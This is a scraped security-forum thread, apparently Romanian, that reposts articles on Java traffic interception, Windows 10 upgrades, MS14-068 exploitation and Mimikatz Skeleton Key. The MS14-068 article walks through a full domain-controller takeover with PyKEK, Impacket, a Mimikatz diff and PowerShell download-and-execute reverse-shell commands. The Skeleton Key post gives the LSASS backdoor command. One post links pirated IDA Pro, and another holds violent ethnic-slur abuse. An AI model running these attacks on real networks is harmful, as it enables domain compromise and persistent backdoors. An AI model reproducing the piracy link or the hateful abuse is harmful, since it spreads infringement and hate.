Nytro

How to intercept traffic from Java applications December 19, 2014 Ionut Popescu During a security assessment you may need to monitor the traffic from a Java application and also to modify it. What can you do? What if the application uses SSL/TLS and even SSL pinning? We found a very useful tool which helped us in this type of situations. JavaSnoop JavaSnoop is a tool developed by Aspect Security with the purpose of helping people to intercept Java function calls (e.g. toString) from Java applications. It allows you to attach to a process and intercept any Java function call, view and modify the parameter values, print the stacktrace or save all function calls to a file.JavaSnoop allows browsing all Java classes and all functions used by the target application. What you have to do is to choose the right function from the right class to hook in order to intercept the function call and parameters. For example, you may consider functions that send, receive, hash or encrypt data in order to intercept and modify sensitive data. Sursa: How to intercept traffic from Java applications – Security Café

[h=1]Bruce Schneier and Edward Snowden[/h] Bruce Schneier, Harvard Berkman Center Fellow, talks with Edward Snowden about government surveillance and the effectiveness of privacy tools like encryption to an audience at Harvard's School of Engineering and Applied Sciences. This conversation kicks off the annual symposium on the future of computation in science and engineering hosted by the IACS- Harvard's Institute for Applied Computational Science.

Windows 7 or 8 to Windows 10 using Windows Update By Martin Brinkmann on January 25, 2015 in Windows - Last Update: January 25, 2015 8 The only options you had previously to upgrade from an older copy of Windows to a new one was to run the installer either while the installed operating system was running or by booting from an installation disc or Flash drive to initiate it. Microsoft wants to make things more comfortable and has added an option to upgrade to Windows 10 using Windows Update. Windows Update is the operating system's updating service which is best known for delivering security patches once a month to supported Windows devices. The core benefit of upgrading via Windows Update is convenience. You don't need to download the ISO image of Windows 10, don't need to burn it to DVD or copy it to a USB Flash Drive, and don't need to run it afterwards on your system. Note: Windows 10 is not ready for prime time yet and it is not suggested to upgrade your work system to it. It is ideal if you have a spare system and want to try it out or a full backup that you can restore. The upgrade process The first thing you need to do is downloaded a small program from Microsoft which prepares your Windows 7 or Windows 8 operating system for the upgrade. It is a 10 Megabyte file that runs automatically on your computer after you execute it. It requires a restart of the PC so that the changes it made take effect. The device will boot into the current operating system after restart. Open Windows Update on the PC now. You can tap on the Windows-key, type Windows Update and hit enter to do so. There you need to click on the check for updates button. It may take a while for the check to complete. In the end, the update to Windows 10 should be displayed which you can run with a click on the install button. As you can see on the screenshot above, the update has a size of 2.8 Gigabyte. The download may take a while depending on your Internet connection speed. The update installer runs the same upgrade process as the ISO installer. Important remarks It seems possible to go back to the old operating system after the update. While that is the case, it is highly suggested that you create a backup of your important files and data before you proceed with the update. If you are running a 32-bit version of Windows, you cannot upgrade to 64-bit versions of Windows 10. There is also no option to change the interface language during the upgrade process. You can remove the "update to Windows 10 preparation update" again from Windows. You find it in the installed updates list as "Update for Microsoft Windows (KB2990214)". Closing Words Windows 10 will be a free upgrade in the first year to all (home) customers who run Windows 7 or Windows 8.1 devices and it is likely that Microsoft will make Windows Update one of the delivery options for the update. Now You: What's your Windows 10 upgrade experience? Sursa: http://www.ghacks.net/2015/01/25/how-to-update-windows-7-or-8-to-windows-10-using-windows-update/

Install and when prompted, enter password: itJpyHidszaR Hex-Rays.IDA.Pro.v6.6.Incl.Hex-Rays.Decompiler-iND https://mega.co.nz/#!0dJT1LrK!4KzjVznWIVTCEY_7xpSRY8X_UdQynndqyalGoMis7vc Download links for ida6620150114204514.rar - Mirrorcreator - Upload files to multiple hosts Via TrojanForge: https://trojanforge.co/showthread.php/3172-Hex-Rays-IDA-Pro-6-6-Incl-Hex-Rays-Decompiler

Cred ca se poate in versiunea Premium/Pro care costa probabil vreo 50 de $.

Digging into MS14-068, Exploitation and Defence The security world has been abuzz lately after Microsoft released a critical security patch to fix a flaw in a core service provided by domain controllers. The vulnerability, known by the identifier MS14-068 (CVE-2014-6324), allows any authenticated domain user to escalate their privileges to domain administrator. As a result, an authenticated attacker is able to completely compromise the domain. Most concerning of all it was revealed that this issue was being exploited in the wild! This post will discuss the technical details of this vulnerability and provide a brief guide for exploiting this issue in a couple of common scenarios that may be encountered during a penetration test. Kerberos in a Windows Domain Kerberos enables users to authenticate to services via a trusted third party. This allows authentication to be centralised so that all the remote services in a network do not require access to user secrets for authentication purposes. The following steps provide a brief overview of the initial stages of the Kerberos protocol in a Windows domain: 1. AS-REQ The user authenticates with the trusted third party known as the Key Distribution Centre (KDC) — the domain controller in a Windows domain — by sending a message containing their identity and a timestamp encrypted with their password as proof of identity. 2. AS-REP If the user authenticated successfully then the KDC constructs a ticket granting ticket (TGT) that will be used by the client to request tickets for other services. The TGT is a service ticket for the Ticket Granting Service (TGS) which is also running on the KDC. Simplified example of a TGT A Kerberos ticket, such as a TGT, contains identifying information about a user and their roles. In a Windows domain this structure is known as the Privilege Attribute Certificate (PAC) which stores information that includes the account name, ID and group membership information. In order to protect the integrity of the PAC it is signed by the KDC using secret keys known only to the KDC and the target service. One signature uses the target service account’s key and the other uses a key known only by the KDC. This allows the KDC or the target service to verify that the PAC has not been tampered with after creation. Furthermore, the entire ticket is encrypted using the target service’s secret key. In the case of the TGT the account of the target service is the krbtgt account. Therefore, both signatures on the PAC are keyed with the krbtgt account’s key and the ticket is encrypted with that same key. The ticket also contains a session key for use in future communication with the TGS. The TGT is returned by the KDC in a message that also contains the TGS session key encrypted with the secret key of the user. 3. TGS-REQ The request for a service ticket from the TGS contains three major components: The name of the service that will be accessed The TGT which is encrypted with the krbtgt key An authenticator: the user ID and a timestamp encrypted with the TGS session key 4. TGS-REP The TGS can decrypt the presented TGT in order to recover the session key. This key is then used to decrypt the authenticator. The TGS is now able to verify that the ID contained in the authenticator matches the TGT, that the TGT has not expired, and the PAC has a valid signature. If the the information presented is acceptable then the information from the PAC in the TGT is copied into a new service ticket. The PAC in the new ticket is signed once using the key of the target service and then again with the krbtgt key. The ticket itself is encrypted using the key of the target service. The client can use the ticket returned by the TGS as a proof of identity with which to access the target service. MS14-068 Analysis On 18th November a critical security patch was released by Microsoft to fix an issue in the way the KDC validates the signature of the PAC. This vulnerability would allow a PAC to be forged that would be accepted by the KDC as legitimate. Since the PAC contains the groups that the user is a member of it would be possible to abuse the flaw to create a fake PAC claiming they are a member of the domain administrators group. The underlying issue was relatively simple. Instead of requiring one of the three signature types prescribed by the MS-PAC specification, the KDC service would accept any checksum type that is implemented in the low-level cryptographic library. The supported checksums included unkeyed algorithms such as plain MD5 or even CRC32. Therefore, it is possible to forge a PAC without knowledge of any secret keys by ‘signing’ it using CRC32. This issue was easy to verify by making a small modification to Mimikatz so that the PAC in a golden ticket is ‘signed’ using CRC32: diff --git a/mimikatz/modules/kerberos/kuhl_m_kerberos.c b/mimikatz/modules/kerberos/kuhl_m_kerberos.c index a262149..2478213 100644 --- a/mimikatz/modules/kerberos/kuhl_m_kerberos.c +++ b/mimikatz/modules/kerberos/kuhl_m_kerberos.c @@ -555,7 +555,9 @@ PDIRTY_ASN1_SEQUENCE_EASY kuhl_m_kerberos_golden_data(LPCWSTR username, LPCWSTR default: SignatureType = KERB_CHECKSUM_HMAC_MD5; } + SignatureType = KERB_CHECKSUM_CRC32; + if(kuhl_m_pac_validationInfo_to_PAC(&validationInfo, SignatureType, &pacType, &pacTypeSize)) { kprintf(L" * PAC generated\n"); The following screenshot shows the ‘signatures’ on the PAC in the TGT generated by the patched version of Mimikatz: CRC32 PAC Signature Although this test of MS14-068 is successful, Mimikatz still requires the krbtgt key in order to encrypt the TGT. We managed to create a forged PAC, but it doesn’t seem possible to put it into a TGT without knowledge of the target service’s secret key (i.e. the krbtgt account’s hash). If this key is available then the standard golden or silver ticket attacks apply, so MS14-068 is unnecessary. The observation made by Sylvain Monné, and neatly exploited in his proof of concept (PyKEK), is that the PAC does not necessarily need to be included in the encrypted ticket. Instead, a forged PAC can be placed in the enc-authorization-data segment of the TGS-REQ message. Although this field is encrypted, it is protected with a key known to the user. Either the TGT session key or a sub-session key (specified in the authenticator) can be used. The second trick is to request a valid TGT that does not contain a PAC by setting the PA-PAC-REQUEST parameter in the AS-REQ to false. This is done to ensure there are no conflicts between the legitimate PAC in the TGT and the forged PAC included elsewhere. So, in order to perform the exploit, only the ID and password of a standard domain user are required. These details are necessary to request a PAC-less TGT, recover the session key that is returned, and encrypt the authenticator in the TGS-REQ. The following image shows a simplified example of a TGS-REQ message to exploit MS14-068. A valid TGT is included, but it does not contain a PAC. Instead, a malicious PAC created by the user has been included in the enc-authorization-data field. This PAC claims that the user is a member of a number of privileged groups, including the domain administrators, and has been ‘signed’ using plain MD5. TGS-REQ containing a forged PAC to exploit MS14-068 The steps taken by PyKEK to exploit MS14-068 are as follows: Request a TGT without a PAC by sending an AS-REQ with PA-PAC-REQUEST set to false. Forge a PAC claiming membership of domain administrators. ‘Sign’ it using plain MD5. Create a TGS-REQ message with krbtgt as the target. The TGT from the first step is used along with the fake PAC encrypted with a sub-session key. Send this to a vulnerable domain controller. The KDC service will accept the forged PAC and return a new TGT which contains a PAC. This TGT can be injected into memory using Mimikatz to be used during the standard Kerberos authentication flow. Interestingly this entire issue is a repeat of CVE-2011-0043 (MS11-013), albeit in a different area of code. At that time the issue was identified as a “Kerberos Unkeyed Checksum Vulnerability” and due to “the Microsoft Kerberos implementation [supporting] a weak hashing mechanism, which can allow for certain aspects of a Kerberos service ticket to be forged”. Furthermore, this issue was reported by the MIT Kerberos team after the same vulnerability was fixed in their implementation in 2010 (CVE-2010-1324). Given that the issue was found to be being actively exploited prior to the patch being released it is possible that MS14-068 has been used by advanced attackers for a few years now. Practical Exploitation As well as the above mentioned Python Kerberos Exploitation Kit (PyKEK), there is a second toolkit which contains a function exploit: Golden PAC module in Impacket. At the time of writing, these attacks work against domain controllers running Windows 2008 (R2), and earlier, but not against Windows 2012. The only other requirement is a valid domain account username and password. Detecting Vulnerable Domain Controllers The only sure method for detecting a vulnerable system is to look at its patch level (or by attempting to exploit it). However, the Responder tool from SpiderLabs includes a script that will perform basic vulnerability detection by checking the uptime of the server to see if it has been rebooted since the patch was released. $ python FindSMB2UpTime.py 172.16.80.10 DC is up since: 2014-11-08 10:22:08 This DC is vulnerable to MS14-068 This check can yield false negatives as a domain controller may have been rebooted without the patch having been applied. For example, the following check shows an un-patched system that has been restarted: $ python FindSMB2UPTime.py 172.16.80.10 DC is up since: 2014-12-08 20:53:19 Internal Penetration Testing The first demonstration is against the target when you have normal network level access. This means you have your DNS server set to the domain’s DNS server (probably your target DC). It is important when working with Kerberos that your system clock is synced with the target host. Kerberos generally allows a 5 minute skew by default, but we can use tools to find the target’s time from an unauthenticated perspective. For example, the net command: $ net time -S 172.16.80.10 Wed Dec 10 11:05:09 2014 Or with the nmap smb-os-discovery script: | smb-os-discovery: | OS: Windows Server ® 2008 Standard 6002 Service Pack 2 (Windows Server ® 2008 Standard 6.0) | OS CPE: cpe:/o:microsoft:windows_server_2008::sp2 | Computer name: msfdc01 | NetBIOS computer name: MSFDC01 | Domain name: metasploitable.local | Forest name: metasploitable.local | FQDN: msfdc01.metasploitable.local |_ System time: 2014-12-10T11:02:33+00:00 After setting your local system time, we need to get the user’s SID. We can query this remotely with the net tool: $ net rpc -W METASPLOITABLE.LOCAL -U user01 -S 172.16.80.10 shell Enter user01's password: Talking to domain METASPLOITABLE (S-1-5-21-2928836948-3642677517-2073454066) net rpc> user net rpc user> show net rpc user> show user01 user rid: 1105, group rid: 513 We can combine the Domain SID with the user RID to get the target user’s SID: S-1-5-21-2928836948-3642677517-2073454066-1105. The next step is to generate our Kerberos ticket with PyKEK. We need to supply the following arguments: -u USERNAME@FQDN.DOMAIN.NAME (our username) -d TARGET.FDQN.DOMAIN.NAME (the domain controller) -p PASSWORD (our password) -s SID (our SID) The following command has generated a forged TGT for user01 and stored it in the TGT_user01@metasploitable.local.ccache file: $ python ms14-068.py -u user01@metasploitable.local -d msfdc01.metasploitable.local -p Password1 -s S-1-5-21-2928836948-3642677517-2073454066 -1105 [+] Building AS-REQ for msfdc01.metasploitable.local... Done! [+] Sending AS-REQ to msfdc01.metasploitable.local... Done! [+] Receiving AS-REP from msfdc01.metasploitable.local... Done! [+] Parsing AS-REP from msfdc01.metasploitable.local... Done! [+] Building TGS-REQ for msfdc01.metasploitable.local... Done! [+] Sending TGS-REQ to msfdc01.metasploitable.local... Done! [+] Receiving TGS-REP from msfdc01.metasploitable.local... Done! [+] Parsing TGS-REP from msfdc01.metasploitable.local... Done! [+] Creating ccache file 'TGT_user01@metasploitable.local.ccache'... Done! To use this ticket, which is in the Credential Cache (ccache) format, we need to move it to the /tmp directory where the Kerberos tools look for tickets: $ mv TGT_user01@metasploitable.local.ccache /tmp/krb5cc_0 We can then authenticate to the domain controller: $ smbclient -W METASPLOITABLE.LOCAL -k //msfdc01/c$ OS=[Windows Server ® 2008 Standard 6002 Service Pack 2] Server=[Windows Server ® 2008 Standard 6.0] smb: \> and even use winexe to execute commands: $ winexe -k METASPLOITABLE.LOCAL //msfdc01 whoami metasploitable.local\user01 In order to get a reverse shell, we can set up a Metasploit delivery mechanism such as Powershell Web Delivery: 20141210-11:29 - 192.168.153.133 exploit(web_delivery) > set TARGET 2 TARGET => 2 20141210-11:30 - 192.168.153.133 exploit(web_delivery) > set PAYLOAD windows/meterpreter/reverse_tcp PAYLOAD => windows/meterpreter/reverse_tcp 20141210-11:30 - 192.168.153.133 exploit(web_delivery) > set LHOST 172.16.3.76 LHOST => 172.16.3.76 20141210-11:30 - 192.168.153.133 exploit(web_delivery) > set LPORT 8686 LPORT => 8686 20141210-11:30 - 192.168.153.133 exploit(web_delivery) > run [*] Exploit running as background job. [*] [2014.12.10-11:30:43] Started reverse handler on 172.16.3.76:8686 [*] [2014.12.10-11:30:43] Using URL: http://0.0.0.0:8080/moKqrqIYh0 [*] [2014.12.10-11:30:43] Local IP: http://192.168.153.133:8080/moKqrqIYh0 [*] [2014.12.10-11:30:43] Server started. [*] [2014.12.10-11:30:43] Run the following command on the target machine: powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://172.16.3.76:8080/moKqrqIYh0')) We then pass the powershell command line to winexe to run as a service: $ winexe -k METASPLOITABLE.LOCAL //msfdc01 "powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://172.16.3.76 :8080/moKqrqIYh0'))" The result is a reverse shell with administrative privileges on the domain controller. At this point we can create a permanent back-door on the domain to maintain access even if the vulnerability becomes patched in the future. [*] [2014.12.10-11:36:43] 172.16.80.10 web_delivery - Delivering Payload [*] [2014.12.10-11:36:43] Sending stage (770048 bytes) to 172.16.80.10 [*] Starting interaction with 1... meterpreter > getuid Server username: METASPLOITABLE.LOCAL\user01 meterpreter > sysinfo Computer : MSFDC01 OS : Windows 2008 (Build 6002, Service Pack 2). Architecture : x86 System Language : en_GB Meterpreter : x86/win32 meterpreter > getsystem ...got system (via technique 1). Alternatively with Impacket The Golden PAC module included in Impacket makes post exploitation easier by performing it automatically for you. Once a TGT containing a forged PAC has been created it is used to create an SMB connection to the domain controller and the PsExec technique is used to gain command execution: $ python goldenPac.py metasploitable.local/user01@msfdc01 Impacket v0.9.13-dev - Copyright 2002-2014 Core Security Technologies Password: [*] Requesting shares on msfdc01..... [*] Found writable share ADMIN$ [*] Uploading file zYAhIGAf.exe [*] Opening SVCManager on msfdc01..... [*] Creating service WzhF on msfdc01..... [*] Starting service WzhF..... [!] Press help for extra shell commands Microsoft Windows [Version 6.0.6002] Copyright © 2006 Microsoft Corporation. All rights reserved. C:\Windows\system32>whoami nt authority\system C:\Windows\system32>echo %COMPUTERNAME% MSFDC01 Exploiting Remotely The second scenario is exploiting a target user who we have compromised remotely, such as via a phishing attack. We assume that we have a shell on the user’s machine, and have recovered their password (e.g. by escalating to SYSTEM and using Mimikatz to dump it). [*] Meterpreter session 3 opened (172.16.3.76:8686 -> 172.16.80.100:49747) at 2014-12-10 11:55:10 +0000 sessions -i 3 [*] Starting interaction with 3... meterpreter > getuid Server username: METASPLOITABLE\user01 meterpreter > sysinfo Computer : MSFTS01 OS : Windows 8.1 (Build 9600). Architecture : x64 (Current Process is WOW64) System Language : en_GB Meterpreter : x86/win32 We need to be able to talk to the domain controller in order to use the exploit scripts. So, we add a port forward to meterpreter to pivot port 88 (kerberos) over our implant: meterpreter > portfwd add -l 88 -p 88 -r 172.16.80.10 [*] Local TCP relay created: 0.0.0.0:88 <-> 172.16.80.10:88 The FQDN for the target system should also point to localhost so that traffic is forwarded via meterpreter. This can be done with a simple addition to /etc/hosts: $ echo 127.0.0.1 msfdc01 >> /etc/hosts $ echo 127.0.0.1 msfdc01.metasploitable.local >> /etc/hosts The user’s SID can be discovered via the command line: meterpreter > shell Process 2808 created. Channel 5 created. Microsoft Windows [Version 6.3.9600] © 2013 Microsoft Corporation. All rights reserved. C:\Windows\system32\WindowsPowerShell\v1.0>whoami /user whoami /user USER INFORMATION ---------------- User Name SID ===================== ============================================== metasploitable\user01 S-1-5-21-2928836948-3642677517-2073454066-1105 We know have all the information required to use PyKEK to generate our privileged TGT: $ python ms14-068.py -u user01@metasploitable.local -d msfdc01.metasploitable.local -p Password1 -s S-1-5-21-2928836948-3642677517-2073454066 -1105 [+] Building AS-REQ for msfdc01.metasploitable.local... Done! [+] Sending AS-REQ to msfdc01.metasploitable.local... Done! [+] Receiving AS-REP from msfdc01.metasploitable.local... Done! [+] Parsing AS-REP from msfdc01.metasploitable.local... Done! [+] Building TGS-REQ for msfdc01.metasploitable.local... Done! [+] Sending TGS-REQ to msfdc01.metasploitable.local... Done! [+] Receiving TGS-REP from msfdc01.metasploitable.local... Done! [+] Parsing TGS-REP from msfdc01.metasploitable.local... Done! [+] Creating ccache file 'TGT_user01@metasploitable.local.ccache'... Done! Although Mimikatz can load our ccache file using the kerberos::ptc command, at present the Meterpreter Kiwi module only has support for .kirbi files. We can convert our ccache file to kirbi using Mimikatz as follows: $ wine mimikatz.exe "kerberos::clist TGT_user01@metasploitable.local.ccache /export" exit p11-kit: couldn't load module: /usr/lib/i386-linux-gnu/pkcs11/gnome-keyring-pkcs11.so: /usr/lib/i386-linux-gnu/pkcs11/gnome-keyring-pkcs11.so: cannot open shared object file: No such file or directory err:winediag:SECUR32_initNTLMSP ntlm_auth was not found or is outdated. Make sure that ntlm_auth >= 3.0.25 is in your path. Usually, you can find it in the winbind package of your distribution. fixme:msvcrt:MSVCRT__setmode fd (1) mode (0x00040000) unknown fixme:msvcrt:MSVCRT__setmode fd (2) mode (0x00040000) unknown .#####. mimikatz 2.0 alpha (x86) release "Kiwi en C" (Nov 20 2014 01:35:31) .## ^ ##. ## / \ ## /* * * ## \ / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) '## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo) '#####' with 15 modules * * */ fixme:lsa:LsaConnectUntrusted 0x42ba8c stub fixme:lsa:LsaLookupAuthenticationPackage (nil) 0x42b67c 0x42ba84 stub fixme:wlanapi:WlanOpenHandle (1, (nil), 0x30fdf8, 0x42bac8) stub mimikatz(commandline) # kerberos::clist TGT_user01@metasploitable.local.ccache /export Principal : (01) : Z ; @ Z Data 0 Start/End/MaxRenew: 10/12/2014 12:00:26 ; 10/12/2014 22:00:25 ; 17/12/2014 12:00:25 Service Name (01) : Z ; Z ; @ Z Target Name (01) : Z ; Z ; @ Z Client Name (01) : Z ; @ Z Flags 50a00000 : pre_authent ; renewable ; proxiable ; forwardable ; Session Key : 0x00000017 - rc4_hmac_nt 09f49cffb2e13a13699fd40443a9fb88 Ticket : 0x00000000 - null ; kvno = 2 [...] * Saved to file 0-50a00000-user01@krbtgt-METASPLOITABLE.LOCAL.kirbi ! mimikatz(commandline) # exit Bye! fixme:lsa:LsaDeregisterLogonProcess (nil) stub Now we can load the Kiwi Mimikatz extension into meterpreter, install our ticket, and access resources as a Domain Administrator: meterpreter > load kiwi Loading extension kiwi... .#####. mimikatz 2.0 alpha (x86/win32) release "Kiwi en C" .## ^ ##. ## / \ ## /* * * ## \ / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) '## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo) '#####' Ported to Metasploit by OJ Reeves `TheColonial` * * */ [!] Loaded x86 Kiwi on an x64 architecture. success. meterpreter > kerberos_ticket_use /root/git/pykek/0-50a00000-user01@krbtgt-METASPLOITABLE.LOCAL.kirbi [*] Using Kerberos ticket stored in /root/git/pykek/0-50a00000-user01@krbtgt-METASPLOITABLE.LOCAL.kirbi, 1231 bytes [+] Kerberos ticket applied successfully We can then use create a service remotely, like PSEXEC to get a reverse shell: meterpreter > shell Process 1132 created. Channel 2 created. Microsoft Windows [Version 6.3.9600] © 2013 Microsoft Corporation. All rights reserved. C:\Windows\system32\WindowsPowerShell\v1.0>sc \\msfdc01\ create psh binPath= "cmd.exe /c powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://172.16.3.76:8080/moKqrqIYh0'))" sc \\msfdc01\ create psh binPath= "cmd.exe /c powershell.exe -nop -w hidden -c IEX ((new-object net.webclient). downloadstring('http://172.16.3.76:8080/moKqrqIYh0'))" [sC] CreateService SUCCESS C:\Windows\system32\WindowsPowerShell\v1.0>sc \\msfdc01\ start psh sc \\msfdc01\ start psh [sC] StartService FAILED 1053: The service did not respond to the start or control request in a timely fashion. C:\Windows\system32\WindowsPowerShell\v1.0>sc \\msfdc01\ delete psh sc \\msfdc01\ delete psh [sC] DeleteService SUCCESS C:\Windows\system32\WindowsPowerShell\v1.0>exit exit meterpreter > background [*] Backgrounding session 5... [*] [2014.12.10-13:10:28] 172.16.80.10 web_delivery - Delivering Payload [*] [2014.12.10-13:10:28] Sending stage (770048 bytes) to 172.16.80.10 [*] Meterpreter session 6 opened (172.16.3.76:8686 -> 172.16.80.10:63162) at 2014-12-10 13:10:31 +0000 20141210-13:10 - 192.168.153.135 exploit(current_user_psexec) > sessions -i 6 [*] Starting interaction with 6... meterpreter > getuid Server username: NT AUTHORITY\SYSTEM meterpreter > sysinfo Computer : MSFDC01 OS : Windows 2008 (Build 6002, Service Pack 2). Architecture : x86 System Language : en_GB Meterpreter : x86/win32 Pivoting native tools via Meterpreter to exploit this issue can prove difficult. Forwarding TCP port 445 allows you to use smbclient, however tools such as Winexe require ephemeral DCE-RPC ports so unless you are creating a VPN to your target this would be painful to use remotely. Hopefully more support for this soon. Also, it’s worth keeping your eye on the current_user_psexec module as it may simplify the post exploitation steps in future. We have made a pull request that introduces Kerberos support, by targeting hostnames instead of IP addresses, to this module: 20141210-22:17 - 192.168.153.133 exploit(current_user_psexec) > rerun [*] Reloading module... [*] [2014.12.10-22:17:22] Started reverse handler on 172.16.80.225:8888 [*] [2014.12.10-22:17:22] msfdc01 Creating service kWfrGWFDDd [*] [2014.12.10-22:17:23] msfdc01 Starting the service [*] [2014.12.10-22:17:24] msfdc01 Deleting the service [*] [2014.12.10-22:17:26] Sending stage (770048 bytes) to 172.16.80.10 [*] Meterpreter session 5 opened (172.16.80.225:8888 -> 172.16.80.10:63815) at 2014-12-10 22:17:43 +0000 Gotchas There are a few common issues that may prevent the MS14-068 exploits from working correctly. For example, if the DNS server isn’t resolving correctly you can have trouble authenticating with the Kerberos token. Here are a couple of tricks if you have problems exploiting the issue: Check your local system time is in sync with target Try with full domain name in CAPITALS, e.g. MSFDC01.METASPLOITABLE.LOCAL Try without the FQDN (i.e. just the Netbios name), e.g. msfdc01 or MSFDC01 Add the addresses to your /etc/hosts file Use Wireshark to check the DNS requests, you may see incorrect requests like MSFDC01.METASPLOITABLE.LOCAL.METASPLOITABLE.LOCAL How can I defend against this? The only solution for preventing this attack is to apply the patch. If this hasn’t been done already then it may be too late. Microsoft have indicated just how serious this issue is in their blog post giving additional information on the issue: Remediation The only way a domain compromise can be remediated with a high level of certainty is a complete rebuild of the domain. An attacker with administrative privilege on a domain controller can make a nearly unbounded number of changes to the system that can allow the attacker to persist their access long after the update has been installed. Therefore it is critical to install the update immediately. This guidance just highlights how important it is to apply security patches in a timely manner. In the same post, Microsoft provided advice on detecting exploitation of MS14-068. They indicated that login events with a mismatch between the SID and the account name had been observed in the wild. However, the public exploits that have been recently released do not have this same indicator when used correctly. Therefore, only those with well developed monitoring infrastructure are likely to identify any access anomalies that indicate compromise and attempts to exfiltrate data. This vulnerability demonstrates that if an organisation’s security relies heavily on a single control, such as whether the user is in a particular domain group, they are at risk from attackers defeating that control and gaining easy access to sensitive information. Security must come from understanding which assets are important, where they are located, and restricting routes to those assets so that, for example, a single compromised desktop cannot access them. The number of access routes to critical data should be minimized and hardened to prevent initial exploitation and local privilege escalation. They should also be heavily monitored for signs of compromise, such as accounts trying to access resources they shouldn’t or accounts being added to privileged groups, or early indicators of an attacker trying to gain a foothold, such as EMET or software restriction exceptions. Conclusion A key goal of attackers seeking to compromise a company’s assets is to escalate their privileges to make discovery and access to the information they seek easier. Therefore, a vulnerability such as MS14-068 is highly valuable to them as it allows total access to the domain from a simple phishing attack on a single desktop user. The fact that exploitation of this issue was found in the wild also shows that attackers are not just researching 0-days in browsers and file viewing software, but are also actively researching later stages of compromise such as lateral and vertical movement. MS14-068 is an exciting prospect for penetration testers as it may provide us with an easy privilege escalation route in engagements over the next few years. However, the worrying flip-side to this is that sensitive corporate and national networks are likely to be vulnerable to such an easy attack. Even worse, it will be difficult to be certain of the integrity of networks that have been patched. References Additional information about CVE-2014-6324 Microsoft Security Bulletin MS14-068 – Critical Microsoft Security Bulletin MS11-013 – Important MIT krb5 Security Advisory 2010-007 A Quick Look at MS14-068 mimikatz presentation by Benjamin Delpy – Passwords#14 MS-PAC: Privilege Attribute Certificate Data Structure Sursa: https://labs.mwrinfosecurity.com/blog/2014/12/16/digging-into-ms14-068-exploitation-and-defence/

Nu e nevoie sa pui totul in EAX inainte de push. Iar eliberarea memoriei NU se face pentru WinAPI (ex, MessageBox) deoarece au calling convention __stdcall. Functiile din C au calling convention __cdecl si acolo e necesara acea secventa "pop ebx..." dar nu se face asa, se face mai rapid cu incrementarea ESP-ului: add ESP, 0x10 (adica 16 bytes). Info: 1. Calling Conventions Demystified - CodeProject 2. Using Win32 calling conventions

Vreau si eu Anti-Cacat, care sa ma scape de posturile astea ale voastre, inutile, penibile si de cacat.

Futu-i natia ma-sii de tigan borat, sa moara in puscarie. I-as taia mainile privindu-l in ochi cum sufera. De ce gatu' ma-sii nu munceste? Spiritul civic ar trebui sa va indemne sa vreti sa ii inchida pe gainarii astia. Asa cum ai patit tu, o sa pateasca si altii, daca nu mai rau. Nota: Unei persoane cunoscute (fata) i s-a pus cutitul la gat ca sa dea telefonul. Tot un recidivist. Grijania ma-sii, sa-l futa aia in cur in puscarie pana ii da sangele pe ochi.

Citeste o carte: http://sferon.dlinkddns.com/Pub/%D0%9B%D0%B8%D1%82%D0%B5%D1%80%D0%B0%D1%82%D1%83%D1%80%D0%B0/Evi%20Nemeth,%20Garth%20Snyder,%20Trent%20R.%20Hein%20-%20UNIX%20and%20Linux%20System%20Administration%20Handbook,%204th%20Edition%20-%202010.pdf @aelius

Attackers Can Now Use Mimikatz to Implant Skeleton Key on Domain Controllers & BackDoor Your Active Directory Forest Microsoft Security, Technical Reference by Sean Metcalf Once an attacker has gained Domain Admin rights to your Active Directory environment, there are several methods for keeping privileged access. Skeleton Key is an ideal persistence method for the modern attacker. More information on Skeleton Key is in my earlier post. Note that the behavior documented in this post was observed in a lab environment using the version of Mimikatz shown in the screenshot. There are likely differences in the Skeleton Key malware documented by Dell SecureWorks and the Mimikatz skeleton key functionality. Mimikatz effectively “patches” LSASS to enable use of a master password with any valid domain user. Rebooting the DC refreshes the memory which removes the “patch”. Implanting the Mimikatz Skeleton Key on one or multiple Domain Controllers: Mimikatz can now inject a skeleton key into LSASS on the Domain Controller by running the following command on the DC: mimikatz.exe “privilege::debug” “misc::skeleton” exit When there are multiple Domain Controllers in an Active Directory site, all of them need the Skeleton Key implant to ensure the skeleton key master password is accepted as the user’s valid password.. Since the client discovers a Domain Controller using DCLocator, the DC the client selects is effectively random. If all the DCs don’t have skeleton key configured, the master password won’t work when the client authenticates to a DC without skeleton key. Scenario: Either the attacker exploits MS14-068 or has the KRBTGT NTLM password hash and uses it to generate a Kerberos Golden Ticket to impersonate a valid Domain Admin account. The attacker leverages the forged Kerberos TGT ticket to access the Domain Controllers via PowerShell remoting. PowerShell remoting runs over WinRM and provides a shell running on the remote computer (much like SSH). In this case, the attacker runs a PowerShell script that uses “invoke-command” to run the mimikatz command on the DCs. Domain Controller Security Events When Implanting the Mimikatz Skeleton Key: When implanting the skeleton key remotely using Mimikatz the following events are logged on the Domain Controller. Event Id 4673 Sensitive Privilege Use, Event 4611: A trusted logon process has been registered with the Local Security Authority. If Process Tracking (logging) is enabled, there are two events that are logged reliably. Event 4688: A new process has been created. Event 4689: A new process has exited. Authenticating with the Mimikatz Skeleton Key: Testing user password and user account with skeleton key password. Note that both passwords are accepted – the valid user password and the skeleton key master password! Testing Domain Admin account with password & skeleton key password. Note that both passwords are accepted – the valid user password and the skeleton key master password! Skeleton Key Mitigation: Protect domain-level admin (DLA) accounts (Domain Admin, Administrators, etc) which reduces the risk of attackers gaining access to these credentials. Don’t let DLA accounts logon to systems at a different security level from Domain Controllers. Don’t let services run as Domain Admin on member servers that aren’t protected at the same level as DCs. Enable smart card authentication for all users. Ensure Domain Controllers have limited connectivity to the network until MS14-068 is patched (kb3011780). The challenge is that the patch has to be applied after DCPromo is complete. Security software that prevents LSASS patching may mitigate the issue. Application whitelisting (ex. AppLocker) can prevent unapproved applications from running on Domain Controllers. Enabling Process Logging on Domain Controllers provides additional data on what applications (exes) are executed on Domain Controllers. Enable LSASS as a protected process on Windows Server 2012 R2 (Mimikatz can bypass with a driver, but that should make some noise in the event logs): The LSA, which includes the Local Security Authority Server Service (LSASS) process, validates users for local and remote sign-ins and enforces local security policies. The Windows 8.1 operating system provides additional protection for the LSA to prevent reading memory and code injection by non-protected processes. This provides added security for the credentials that the LSA stores and manages. To enable LSA protection on a single computer Open the Registry 